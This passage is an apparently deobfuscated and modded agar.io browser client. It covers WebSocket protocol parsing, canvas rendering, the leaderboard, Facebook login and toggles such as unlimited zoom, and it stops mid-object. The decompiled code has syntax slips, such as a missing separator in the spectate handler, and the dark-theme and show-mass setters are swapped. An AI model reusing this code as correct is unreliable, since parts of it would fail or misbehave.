Connect(address, ticket) { if (points) { points.onopen = null; points.onmessage = null; points.onclose = null; try { points.close(); } catch (exception) {} points = null; } if (__unmatched_113.ip) { address = 'ws://' + __unmatched_113.ip; } if (null != __unmatched_121) { var __unmatched_181 = __unmatched_121; __unmatched_121 = function() { __unmatched_181(ticket); }; } if (g_secure) { var parts = address.split(':'); address = parts[0] + 's://ip-' + parts[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + (+parts[2] + 2000); } g_playerCellIds = []; g_playerCells = []; g_cellsById = {}; g_cells = []; g_destroyedCells = []; g_scoreEntries = []; g_leaderboardCanvas = g_scorePartitions = null; g_maxScore = 0; g_connectSuccessful = false; console.log('Connecting to ' + address); points = new WebSocket(address); points.binaryType = 'arraybuffer'; points.onopen = function() { var data; console.log('socket open'); data = GetBuffer(5); data.setUint8(0, 254); data.setUint32(1, 5, true); SendBuffer(data); data = GetBuffer(5); data.setUint8(0, 255); data.setUint32(1, 154669603, true); SendBuffer(data); data = GetBuffer(1 + ticket.length); data.setUint8(0, 80); for (var i = 0; i < ticket.length; ++i) { data.setUint8(i + 1, ticket.charCodeAt(i)); } SendBuffer(data); RefreshAds(); }; points.onmessage = MessageHandler; points.onclose = CloseHandler; points.onerror = function() { console.log('socket error'); }; } function GetBuffer(size) { return new DataView(new ArrayBuffer(size)); } function SendBuffer(data) { points.send(data.buffer); } function CloseHandler() { if (g_connectSuccessful) { g_retryTimeout = 500; } console.log('socket close'); setTimeout(Start, g_retryTimeout); g_retryTimeout *= 2; } function MessageHandler(data) { Receive(new DataView(data.data)); } function Receive(data) { function __unmatched_190() { for (var string = '';;) { var char = data.getUint16(pos, true); pos += 2; if (0 == char) { break; } string += String.fromCharCode(char); } return string; } var pos = 0; if (240 == data.getUint8(pos)) { pos += 5; } switch (data.getUint8(pos++)) { case 16: ParseCellUpdates(data, pos); break; case 17: g_viewX_ = data.getFloat32(pos, true); pos += 4; g_viewY_ = data.getFloat32(pos, true); pos += 4; g_scale_ = data.getFloat32(pos, true); pos += 4; break; case 20: g_playerCells = []; g_playerCellIds = []; break; case 21: g_linesY_ = data.getInt16(pos, true); pos += 2; g_linesX_ = data.getInt16(pos, true); pos += 2; if (!g_ready) { g_ready = true; g_linesX = g_linesY_; g_linesY = g_linesX_; } break; case 32: g_playerCellIds.push(data.getUint32(pos, true)); pos += 4; break; case 49: if (null != g_scorePartitions) { break; } var num = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries = []; for (var i = 0; i < num; ++i) { var id = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries.push({ id: id, name: __unmatched_190() }); } UpdateLeaderboard(); break; case 50: g_scorePartitions = []; num = data.getUint32(pos, true); pos += 4; for (i = 0; i < num; ++i) { g_scorePartitions.push(data.getFloat32(pos, true)); pos += 4; } UpdateLeaderboard(); break; case 64: g_minX = data.getFloat64(pos, true); pos += 8; g_minY = data.getFloat64(pos, true); pos += 8; g_maxX = data.getFloat64(pos, true); pos += 8; g_maxY = data.getFloat64(pos, true); pos += 8; g_viewX_ = (g_maxX + g_minX) / 2; g_viewY_ = (g_maxY + g_minY) / 2; g_scale_ = 1; if (0 == g_playerCells.length) { g_viewX = g_viewX_; g_viewY = g_viewY_; g_scale = g_scale_; } break; case 81: var x = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_196 = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_197 = data.getUint32(pos, true); var pos = pos + 4; setTimeout(function() { __unmatched_43({ e: x, f: __unmatched_196, d: __unmatched_197 }); }, 1200); } } function ParseCellUpdates(data, pos) { function __unmatched_202() { for (var string = '';;) { var id = data.getUint16(pos, true); pos += 2; if (0 == id) { break; } string += String.fromCharCode(id); } return string; } function __unmatched_203() { for (var __unmatched_218 = '';;) { var r = data.getUint8(pos++); if (0 == r) { break; } __unmatched_218 += String.fromCharCode(r); } return __unmatched_218; } __unmatched_107 = g_time = Date.now(); if (!g_connectSuccessful) { g_connectSuccessful = true; __unmatched_24(); } __unmatched_88 = false; var num = data.getUint16(pos, true); pos += 2; for (var i = 0; i < num; ++i) { var cellA = g_cellsById[data.getUint32(pos, true)]; var cellB = g_cellsById[data.getUint32(pos + 4, true)]; pos += 8; if (cellA && cellB) { cellB.X(); cellB.s = cellB.x; cellB.t = cellB.y; cellB.r = cellB.size; cellB.J = cellA.x; cellB.K = cellA.y; cellB.q = cellB.size; cellB.Q = g_time; __unmatched_49(cellA, cellB); } } for (i = 0;;) { num = data.getUint32(pos, true); pos += 4; if (0 == num) { break; } ++i; var size; var cellA = data.getInt32(pos, true); pos += 4; cellB = data.getInt32(pos, true); pos += 4; size = data.getInt16(pos, true); pos += 2; var flags = data.getUint8(pos++); var y = data.getUint8(pos++); var b = data.getUint8(pos++); var y = __unmatched_40(flags << 16 | y << 8 | b); var b = data.getUint8(pos++); var isVirus = !!(b & 1); var isAgitated = !!(b & 16); var __unmatched_214 = null; if (b & 2) { pos += 4 + data.getUint32(pos, true); } if (b & 4) { __unmatched_214 = __unmatched_203(); } var name = __unmatched_202(); var flags = null; if (g_cellsById.hasOwnProperty(num)) { flags = g_cellsById[num]; flags.P(); flags.s = flags.x; flags.t = flags.y; flags.r = flags.size; flags.color = y; } else { flags = new Cell(num, cellA, cellB, size, y, name); g_cells.push(flags); g_cellsById[num] = flags; flags.ta = cellA; flags.ua = cellB; } flags.h = isVirus; flags.n = isAgitated; flags.J = cellA; flags.K = cellB; flags.q = size; flags.Q = g_time; flags.ba = b; flags.fa = __unmatched_214; if (name) { flags.B(name); } if (-1 != g_playerCellIds.indexOf(num) && -1 == g_playerCells.indexOf(flags)) { g_playerCells.push(flags); if (1 == g_playerCells.length) { g_viewX = flags.x; g_viewY = flags.y; __unmatched_136(); document.getElementById('overlays').style.display = 'none'; cached = []; __unmatched_139 = 0; __unmatched_140 = g_playerCells[0].color; __unmatched_142 = true; __unmatched_143 = Date.now(); g_mode = __unmatched_146 = __unmatched_145 = 0; } } } cellA = data.getUint32(pos, true); pos += 4; for (i = 0; i < cellA; i++) { num = data.getUint32(pos, true); pos += 4; flags = g_cellsById[num]; if (null != flags) { flags.X(); } } if (__unmatched_88 && 0 == g_playerCells.length) { __unmatched_144 = Date.now(); __unmatched_142 = false; if (!(g_playerCellDestroyed || __unmatched_141)) { if (__unmatched_148) { __unmatched_13(window.ab); ShowOverlay(); __unmatched_141 = true; $('#overlays').fadeIn(3000); $('#stats').show(); } else { __unmatched_10(3000); } } } } function __unmatched_24() { $('#connecting').hide(); SendNick(); if (__unmatched_121) { __unmatched_121(); __unmatched_121 = null; } if (null != __unmatched_123) { clearTimeout(__unmatched_123); } __unmatched_123 = setTimeout(function() { if (window.ga) { ++__unmatched_124; window.ga('set', 'dimension2', __unmatched_124); } }, 10000); } function SendPos() { if (IsConnected()) { var deltaY = g_mouseX - g_protocol / 2; var delta = g_mouseY - __unmatched_60 / 2; if (!(64 > deltaY * deltaY + delta * delta || 0.01 > Math.abs(g_lastMoveY - g_moveX) && 0.01 > Math.abs(g_lastMoveX - g_moveY))) { g_lastMoveY = g_moveX; g_lastMoveX = g_moveY; deltaY = GetBuffer(21); deltaY.setUint8(0, 16); deltaY.setFloat64(1, g_moveX, true); deltaY.setFloat64(9, g_moveY, true); deltaY.setUint32(17, 0, true); SendBuffer(deltaY); } } } function SendNick() { if (IsConnected() && g_connectSuccessful && null != g_nick) { var data = GetBuffer(1 + 2 * g_nick.length); data.setUint8(0, 0); for (var i = 0; i < g_nick.length; ++i) { data.setUint16(1 + 2 * i, g_nick.charCodeAt(i), true); } SendBuffer(data); g_nick = null; } } function IsConnected() { return null != points && points.readyState == points.OPEN; } function SendCmd(cmd) { if (IsConnected()) { var data = GetBuffer(1); data.setUint8(0, cmd); SendBuffer(data); } } function RefreshAds() { if (IsConnected() && null != __unmatched_108) { var __unmatched_226 = GetBuffer(1 + __unmatched_108.length); __unmatched_226.setUint8(0, 81); for (var y = 0; y < __unmatched_108.length; ++y) { __unmatched_226.setUint8(y + 1, __unmatched_108.charCodeAt(y)); } SendBuffer(__unmatched_226); } } function ResizeHandler() { g_protocol = window.innerWidth; __unmatched_60 = window.innerHeight; g_canvas_.width = g_canvas.width = g_protocol; g_canvas_.height = g_canvas.height = __unmatched_60; var $dialog = $('#helloContainer'); $dialog.css('transform', 'none'); var dialogHeight = $dialog.height(); var height = window.innerHeight; if (dialogHeight > height / 1.1) { $dialog.css('transform', 'translate(-50%, -50%) scale(' + height / dialogHeight / 1.1 + ')'); } else { $dialog.css('transform', 'translate(-50%, -50%)'); } GetScore(); } function ScaleModifier() { var scale; scale = 1 * Math.max(__unmatched_60 / 1080, g_protocol / 1920); return scale *= g_zoom; } function __unmatched_32() { if (0 != g_playerCells.length) { for (var scale = 0, i = 0; i < g_playerCells.length; i++) { scale += g_playerCells[i].size; } scale = Math.pow(Math.min(64 / scale, 1), 0.4) * ScaleModifier(); g_scale = (9 * g_scale + scale) / 10; } } function GetScore() { var x; var time = Date.now(); ++__unmatched_75; g_time = time; if (0 < g_playerCells.length) { __unmatched_32(); for (var y = x = 0, i = 0; i < g_playerCells.length; i++) { g_playerCells[i].P(); x += g_playerCells[i].x / g_playerCells.length; y += g_playerCells[i].y / g_playerCells.length; } g_viewX_ = x; g_viewY_ = y; g_scale_ = g_scale; g_viewX = (g_viewX + x) / 2; g_viewY = (g_viewY + y) / 2; } else { g_viewX = (29 * g_viewX + g_viewX_) / 30; g_viewY = (29 * g_viewY + g_viewY_) / 30; g_scale = (9 * g_scale + g_scale_ * ScaleModifier()) / 10; } UpdateTree(); UpdatePos(); if (!g_showTrails) { g_context.clearRect(0, 0, g_protocol, __unmatched_60); } if (g_showTrails) { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.globalAlpha = 0.05; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } else { DrawGrid(); } g_cells.sort(function(A, B) { return A.size == B.size ? A.id - B.id : A.size - B.size; }); g_context.save(); g_context.translate(g_protocol / 2, __unmatched_60 / 2); g_context.scale(g_scale, g_scale); g_context.translate(-g_viewX, -g_viewY); drawBorders(); drawLogo(); myMass = Math.min.apply(null, g_playerCells.map(function(r) { return r.N(); })) for (i = 0; i < g_destroyedCells.length; i++) { g_destroyedCells[i].w(g_context); } for (i = 0; i < g_cells.length; i++) { g_cells[i].w(g_context); } if (g_ready) { g_linesX = (3 * g_linesX + g_linesY_) / 4; g_linesY = (3 * g_linesY + g_linesX_) / 4; g_context.save(); g_context.strokeStyle = '#FFAAAA'; g_context.lineWidth = 10; g_context.lineCap = 'round'; g_context.lineJoin = 'round'; g_context.globalAlpha = 0.5; g_context.beginPath(); for (i = 0; i < g_playerCells.length; i++) { g_context.moveTo(g_playerCells[i].x, g_playerCells[i].y); g_context.lineTo(g_linesX, g_linesY); } g_context.stroke(); g_context.restore(); } g_context.restore(); if (g_leaderboardCanvas && g_leaderboardCanvas.width) { g_context.drawImage(g_leaderboardCanvas, g_protocol - g_leaderboardCanvas.width - 10, 10); } g_maxScore = Math.max(g_maxScore, __unmatched_36()); if (0 != g_maxScore) { if (null == g_cachedScore) { g_cachedScore = new CachedCanvas(24, '#FFFFFF'); } g_cachedScore.C(__unmatched_14('score') + ': ' + ~~(g_maxScore / 100)); y = g_cachedScore.L(); x = y.width; g_context.globalAlpha = 0.2; g_context.fillStyle = '#000000'; g_context.fillRect(10, __unmatched_60 - 10 - 24 - 10, x + 10, 34); g_context.globalAlpha = 1; g_context.drawImage(y, 15, __unmatched_60 - 10 - 24 - 5); } DrawSplitImage(); time = Date.now() - time; if (time > 1000 / 60) { g_pointNumScale -= 0.01; } else if (time < 1000 / 65) { g_pointNumScale += 0.01; } if (0.4 > g_pointNumScale) { g_pointNumScale = 0.4; } if (1 < g_pointNumScale) { g_pointNumScale = 1; } time = g_time - __unmatched_77; if (!IsConnected() || g_playerCellDestroyed || __unmatched_141) { qkeyDown += time / 2000; if (1 < qkeyDown) { qkeyDown = 1; } } else { qkeyDown -= time / 300; if (0 > qkeyDown) { qkeyDown = 0; } } if (0 < qkeyDown) { g_context.fillStyle = '#000000'; g_context.globalAlpha = 0.5 * qkeyDown; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } __unmatched_77 = g_time; } function DrawGrid() { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.save(); g_context.strokeStyle = g_showMass ? '#AAAAAA' : '#000000'; g_context.globalAlpha = 0.2 * g_scale; for (var width = g_protocol / g_scale, height = __unmatched_60 / g_scale, g_width = (-g_viewX + width / 2) % 50; g_width < width; g_width += 50) { g_context.beginPath(); g_context.moveTo(g_width * g_scale - 0.5, 0); g_context.lineTo(g_width * g_scale - 0.5, height * g_scale); g_context.stroke(); } for (g_width = (-g_viewY + height / 2) % 50; g_width < height; g_width += 50) { g_context.beginPath(); g_context.moveTo(0, g_width * g_scale - 0.5); g_context.lineTo(width * g_scale, g_width * g_scale - 0.5); g_context.stroke(); } g_context.restore(); } function DrawSplitImage() { if (g_touchCapable && g_splitImage.width) { var size = g_protocol / 5; g_context.drawImage(g_splitImage, 5, 5, size, size); } } function __unmatched_36() { for (var score = 0, i = 0; i < g_playerCells.length; i++) { score += g_playerCells[i].q * g_playerCells[i].q; } return score; } function UpdateLeaderboard() { g_leaderboardCanvas = null; if (null != g_scorePartitions || 0 != g_scoreEntries.length) { if (null != g_scorePartitions || g_showNames) { g_leaderboardCanvas = document.createElement('canvas'); var context = g_leaderboardCanvas.getContext('2d'); var height = 60; var height = null == g_scorePartitions ? height + 24 * g_scoreEntries.length : height + 180; var scale = Math.min(200, 0.3 * g_protocol) / 200; g_leaderboardCanvas.width = 200 * scale; g_leaderboardCanvas.height = height * scale; context.scale(scale, scale); context.globalAlpha = 0.4; context.fillStyle = '#000000'; context.fillRect(0, 0, 200, height); context.globalAlpha = 1; context.fillStyle = '#FFFFFF'; scale = null; scale = __unmatched_14('leaderboard'); context.font = '30px Ubuntu'; context.fillText(scale, 100 - context.measureText(scale).width / 2, 40); if (null == g_scorePartitions) { for (context.font = '20px Ubuntu', height = 0; height < g_scoreEntries.length; ++height) { scale = g_scoreEntries[height].name || __unmatched_14('unnamed_cell'); if (!g_showNames) { scale = __unmatched_14('unnamed_cell'); } if (-1 != g_playerCellIds.indexOf(g_scoreEntries[height].id)) { if (g_playerCells[0].name) { scale = g_playerCells[0].name; } context.fillStyle = '#FFAAAA'; } else { context.fillStyle = '#FFFFFF'; } scale = height + 1 + '. ' + scale; context.fillText(scale, 100 - context.measureText(scale).width / 2, 70 + 24 * height); } } else { for (height = scale = 0; height < g_scorePartitions.length; ++height) { var end = scale + g_scorePartitions[height] * Math.PI * 2; context.fillStyle = g_teamColors[height + 1]; context.beginPath(); context.moveTo(100, 140); context.arc(100, 140, 80, scale, end, false); context.fill(); scale = end; } } } } } function __unmatched_38(__unmatched_250, __unmatched_251, __unmatched_252, __unmatched_253, __unmatched_254) { this.V = __unmatched_250; this.x = __unmatched_251; this.y = __unmatched_252; this.i = __unmatched_253; this.b = __unmatched_254; } function Cell(id, x, y, size, color, name) { this.id = id; this.s = this.x = x; this.t = this.y = y; this.r = this.size = size; this.color = color; this.a = []; this.W(); this.B(name); } function __unmatched_40(__unmatched_261) { for (__unmatched_261 = __unmatched_261.toString(16); 6 > __unmatched_261.length;) { __unmatched_261 = '0' + __unmatched_261; } return '#' + __unmatched_261; } function drawBorders() { g_context.save() g_context.beginPath(); g_context.lineWidth = 1; g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapStartX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapStartY()); g_context.stroke(); g_context.moveTo(getMapEndX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapEndY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.restore(); } function drawLogo(){ var logoimage = new Image(); logoimage.src = "img/split.png"; var width = this.j / 2; var dim = width / 2; g_context.save(); g_context.beginPath(); g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX()/2, getMapStartX()/2); g_context.lineTo(getMapStartX()/2, getMapStartX()/2); g_context.stroke(); g_context.restore(); } function CachedCanvas(size, color, stroke, strokeColor) { if (size) { this.u = size; } if (color) { this.S = color; } this.U = !!stroke; if (strokeColor) { this.v = strokeColor; } } function __unmatched_42(__unmatched_266) { for (var size_ = __unmatched_266.length, __unmatched_268, __unmatched_269; 0 < size_;) { __unmatched_269 = Math.floor(Math.random() * size_); size_--; __unmatched_268 = __unmatched_266[size_]; __unmatched_266[size_] = __unmatched_266[__unmatched_269]; __unmatched_266[__unmatched_269] = __unmatched_268; } } function __unmatched_43(g_socket, __unmatched_271) { var noClip = '1' == $('#helloContainer').attr('data-has-account-data'); $('#helloContainer').attr('data-has-account-data', '1'); if (null == __unmatched_271 && window.localStorage.loginCache) { var rand = JSON.parse(window.localStorage.loginCache); rand.f = g_socket.f; rand.d = g_socket.d; rand.e = g_socket.e; window.localStorage.loginCache = JSON.stringify(rand); } if (noClip) { var __unmatched_274 = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[0]; var noClip = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[1].split(' ')[0]; var rand = $('.agario-profile-panel .progress-bar-star').first().text(); if (rand != g_socket.e) { __unmatched_43({ f: noClip, d: noClip, e: rand }, function() { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar').css('width', '100%'); $('.progress-bar-star').addClass('animated tada').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function() { $('.progress-bar-star').removeClass('animated tada'); }); setTimeout(function() { $('.agario-exp-bar .progress-bar-text').text(g_socket.d + '/' + g_socket.d + ' XP'); __unmatched_43({ f: 0, d: g_socket.d, e: g_socket.e }, function() { __unmatched_43(g_socket, __unmatched_271); }); }, 1000); }); } else { var __unmatched_275 = Date.now(); var name = function() { var deltaX; deltaX = (Date.now() - __unmatched_275) / 1000; deltaX = 0 > deltaX ? 0 : 1 < deltaX ? 1 : deltaX; deltaX = deltaX * deltaX * (3 - 2 * deltaX); $('.agario-exp-bar .progress-bar-text').text(~~(__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * (__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) / g_socket.d).toFixed(2) + '%'); if (1 > deltaX) { window.requestAnimationFrame(name); } else if (__unmatched_271) { __unmatched_271(); } }; window.requestAnimationFrame(name); } } else { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar-text').text(g_socket.f + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * g_socket.f / g_socket.d).toFixed(2) + '%'); if (__unmatched_271) { __unmatched_271(); } } } function __unmatched_44(__unmatched_278) { if ('string' == typeof __unmatched_278) { __unmatched_278 = JSON.parse(__unmatched_278); } if (Date.now() + 1800000 > __unmatched_278.ka) { $('#helloContainer').attr('data-logged-in', '0'); } else { window.localStorage.loginCache = JSON.stringify(__unmatched_278); __unmatched_108 = __unmatched_278.ha; $('.agario-profile-name').text(__unmatched_278.name); RefreshAds(); __unmatched_43({ f: __unmatched_278.f, d: __unmatched_278.d, e: __unmatched_278.e }); $('#helloContainer').attr('data-logged-in', '1'); } } function __unmatched_45(data) { data = data.split('\n'); __unmatched_44({ name: data[0], sa: data[1], ha: data[2], ka: 1000 * +data[3], e: +data[4], f: +data[5], d: +data[6] }); } function UpdateScale(__unmatched_280) { if ('connected' == __unmatched_280.status) { var x = __unmatched_280.authResponse.accessToken; window.FB.api('/me/picture?width=180&height=180', function(__unmatched_282) { window.localStorage.fbPictureCache = __unmatched_282.data.url; $('.agario-profile-picture').attr('src', __unmatched_282.data.url); }); $('#helloContainer').attr('data-logged-in', '1'); if (null != __unmatched_108) { $.ajax('https://m.agar.io/checkToken', { error: function() { __unmatched_108 = null; UpdateScale(__unmatched_280); }, success: function(__unmatched_283) { __unmatched_283 = __unmatched_283.split('\n'); __unmatched_43({ e: +__unmatched_283[0], f: +__unmatched_283[1], d: +__unmatched_283[2] }); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: __unmatched_108 }); } else { $.ajax('https://m.agar.io/facebookLogin', { error: function() { __unmatched_108 = null; $('#helloContainer').attr('data-logged-in', '0'); }, success: __unmatched_45, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } } } function RenderLoop(x) { Render(':party'); $('#helloContainer').attr('data-party-state', '4'); x = decodeURIComponent(x).replace(/.*#/gim, ''); __unmatched_48('#' + window.encodeURIComponent(x)); $.ajax('https://m.agar.io/getToken', { error: function() { $('#helloContainer').attr('data-party-state', '6'); }, success: function(quick) { quick = quick.split('\n'); $('.partyToken').val('agar.io/#' + window.encodeURIComponent(x)); $('#helloContainer').attr('data-party-state', '5'); Render(':party'); Connect('ws://' + quick[0], x); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } function __unmatched_48(__unmatched_286) { if (window.history && window.history.replaceState) { window.history.replaceState({}, window.document.title, __unmatched_286); } } function __unmatched_49(__unmatched_287, __unmatched_288) { var playerOwned = -1 != g_playerCellIds.indexOf(__unmatched_287.id); var __unmatched_290 = -1 != g_playerCellIds.indexOf(__unmatched_288.id); var __unmatched_291 = 30 > __unmatched_288.size; if (playerOwned && __unmatched_291) { ++__unmatched_139; } if (!(__unmatched_291 || !playerOwned || __unmatched_290)) { ++__unmatched_146; } } function __unmatched_50(__unmatched_292) { __unmatched_292 = ~~__unmatched_292; var color = (__unmatched_292 % 60).toString(); __unmatched_292 = (~~(__unmatched_292 / 60)).toString(); if (2 > color.length) { color = '0' + color; } return __unmatched_292 + ':' + color; } function __unmatched_51() { if (null == g_scoreEntries) { return 0; } for (var i = 0; i < g_scoreEntries.length; ++i) { if (-1 != g_playerCellIds.indexOf(g_scoreEntries[i].id)) { return i + 1; } } return 0; } function ShowOverlay() { $('.stats-food-eaten').text(__unmatched_139); $('.stats-time-alive').text(__unmatched_50((__unmatched_144 - __unmatched_143) / 1000)); $('.stats-leaderboard-time').text(__unmatched_50(__unmatched_145)); $('.stats-highest-mass').text(~~(g_maxScore / 100)); $('.stats-cells-eaten').text(__unmatched_146); $('.stats-top-position').text(0 == g_mode ? ':(' : g_mode); var g_height = document.getElementById('statsGraph'); if (g_height) { var pointsAcc = g_height.getContext('2d'); var scale = g_height.width; var g_height = g_height.height; pointsAcc.clearRect(0, 0, scale, g_height); if (2 < cached.length) { for (var __unmatched_298 = 200, i = 0; i < cached.length; i++) { __unmatched_298 = Math.max(cached[i], __unmatched_298); } pointsAcc.lineWidth = 3; pointsAcc.lineCap = 'round'; pointsAcc.lineJoin = 'round'; pointsAcc.strokeStyle = __unmatched_140; pointsAcc.fillStyle = __unmatched_140; pointsAcc.beginPath(); pointsAcc.moveTo(0, g_height - cached[0] / __unmatched_298 * (g_height - 10) + 10); for (i = 1; i < cached.length; i += Math.max(~~(cached.length / scale), 1)) { for (var __unmatched_300 = i / (cached.length - 1) * scale, __unmatched_301 = [], __unmatched_302 = -20; 20 >= __unmatched_302; ++__unmatched_302) { if (!(0 > i + __unmatched_302 || i + __unmatched_302 >= cached.length)) { __unmatched_301.push(cached[i + __unmatched_302]); } } __unmatched_301 = __unmatched_301.reduce(function(__unmatched_303, __unmatched_304) { return __unmatched_303 + __unmatched_304; }) / __unmatched_301.length / __unmatched_298; pointsAcc.lineTo(__unmatched_300, g_height - __unmatched_301 * (g_height - 10) + 10); } pointsAcc.stroke(); pointsAcc.globalAlpha = 0.5; pointsAcc.lineTo(scale, g_height); pointsAcc.lineTo(0, g_height); pointsAcc.fill(); pointsAcc.globalAlpha = 1; } } } if (!window.agarioNoInit) { var __unmatched_53 = window.location.protocol; var g_secure = 'https:' == __unmatched_53; if (g_secure && -1 == window.location.search.indexOf('fb')) { window.location.href = 'http://agar.io/'; } else { var items = window.navigator.userAgent; if (-1 != items.indexOf('Android')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'PlayStore'); } setTimeout(function() { window.location.href = 'https://play.google.com/store/apps/details?id=com.miniclip.agar.io'; }, 1000); } else if (-1 != items.indexOf('iPhone') || -1 != items.indexOf('iPad') || -1 != items.indexOf('iPod')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'AppStore'); } setTimeout(function() { window.location.href = 'https://itunes.apple.com/app/agar.io/id995999703?mt=8&at=1l3vajp'; }, 1000); } else { var g_canvas_; var g_context; var g_canvas; var g_protocol; var __unmatched_60; var g_pointTree = null; var points = null; var g_viewX = 0; var g_viewY = 0; var g_playerCellIds = []; var g_playerCells = []; var g_cellsById = {}; var g_cells = []; var g_destroyedCells = []; var g_scoreEntries = []; var g_mouseX = 0; var g_mouseY = 0; var g_moveX = -1; var g_moveY = -1; var __unmatched_75 = 0; var g_time = 0; var __unmatched_77 = 0; var g_nick = null; var g_minX = 0; var g_minY = 0; var g_maxX = 10000; var g_maxY = 10000; var g_scale = 1; var g_region = null; var g_showSkins = true; var g_showNames = true; var g_noColors = false; var __unmatched_88 = false; var g_maxScore = 0; var g_showMass = false; var g_darkTheme = true; var g_viewX_ = g_viewX = ~~((g_minX + g_maxX) / 2); var g_viewY_ = g_viewY = ~~((g_minY + g_maxY) / 2); var g_scale_ = 1; var __unmatched_95 = ''; var g_scorePartitions = null; var g_drawLines = false; var g_ready = false; var g_linesY_ = 0; var g_linesX_ = 0; var g_linesX = 0; var g_linesY = 0; var g_ABGroup = 0; var g_teamColors = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ]; var g_showTrails = false; var g_connectSuccessful = false; var __unmatched_107 = 0; var __unmatched_108 = null; var g_zoom = 1; var qkeyDown = 1; var g_playerCellDestroyed = false; var __unmatched_112 = 0; var __unmatched_113 = {}; (function() { var point = window.location.search; if ('?' == point.charAt(0)) { point = point.slice(1); } for (var point = point.split('&'), __unmatched_306 = 0; __unmatched_306 < point.length; __unmatched_306++) { var parts = point[__unmatched_306].split('='); __unmatched_113[parts[0]] = parts[1]; } }()); var g_touchCapable = 'ontouchstart' in window && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent); var g_splitImage = new Image(); g_splitImage.src = 'img/split.png'; var canvasTest = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == canvasTest || null == canvasTest.getContext || null == window.localStorage) { alert('You browser does not support this game, we recommend you to use Firefox to play this'); } else { var g_regionLabels = null; window.setNick = function(val) { HideOverlay(); g_nick = val; SendNick(); g_maxScore = 0; }; window.setRegion = SetRegion; window.setSkins = function(val) { g_showSkins = val; }; window.setUnlimitedZoom = function(val) { isUnlimitedZoom = val; }; window.setNames = function(val) { g_showNames = val; }; window.setDarkTheme = function(val) { g_showMass = val; }; window.setColors = function(val) { g_noColors = val; }; window.setShowMass = function(val) { g_darkTheme = val; }; window.spectate = function(val) { isSpectating = val g_nick = null; SendCmd(1); HideOverlay(); }; window.setLargeBlobBorders = function(val) { isLargeBlobBorders = val; } window.setLargeNames = function(val) { isLargeNames = val; } window.setVirusTransparent = function(val){ isVirusTransparent = val; } window.nicksChange = function() { var name = $("#nicks").children("option").filter(":selected").text(); $("#nick").val(name); if (-1 != g_skinNamesA.indexOf(name)) { $("#preview").attr("src", "skins/" + name + ".png"); } }; window.getMapStartX = function() { return g_minX; } window.getMapStartY = function() { return g_minY; } window.getMapEndX = function() { return g_maxX; } window.getMapEndY = function() { return g_maxY; } window.setGameMode = function(val) { if (val != __unmatched_95) { if (':party' == __unmatched_95) { $('#helloContainer').attr('data-party-state', '0'); } Render(val); if (':party' != val) { Start(); } } }; window.setAcid = function(val) { g_showTrails = val; }; if (null != window.localStorage) { if (null == window.localStorage.AB9) { window.localStorage.AB9 = 0 + ~~(100 * Math.random()); } g_ABGroup = +window.localStorage.AB9; window.ABGroup = g_ABGroup; } $.get(__unmatched_53 + '//gc.agar.io', function(code) { var __unmatched_317 = code.split(' '); code = __unmatched_317[0]; __unmatched_317 = __unmatched_317[1] || ''; if (-1 == ['UA'].indexOf(code)) { g_skinNamesA.push('ussr'); } if (g_regionsByCC.hasOwnProperty(code)) { if ('string' == typeof g_regionsByCC[code]) { if (!g_region) { SetRegion(g_regionsByCC[code]); } else if (g_regionsByCC[code].hasOwnProperty(__unmatched_317)) { if (!g_region) { SetRegion(g_regionsByCC[code][__unmatched_317]); } } } } }, 'text'); if (window.ga) { window.ga('send', 'event', 'User-Agent', window.navigator.userAgent, { nonInteraction: 1 }); } var g_canRefreshAds = true; var g_refreshAdsCooldown = 0; var g_regionsByCC = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 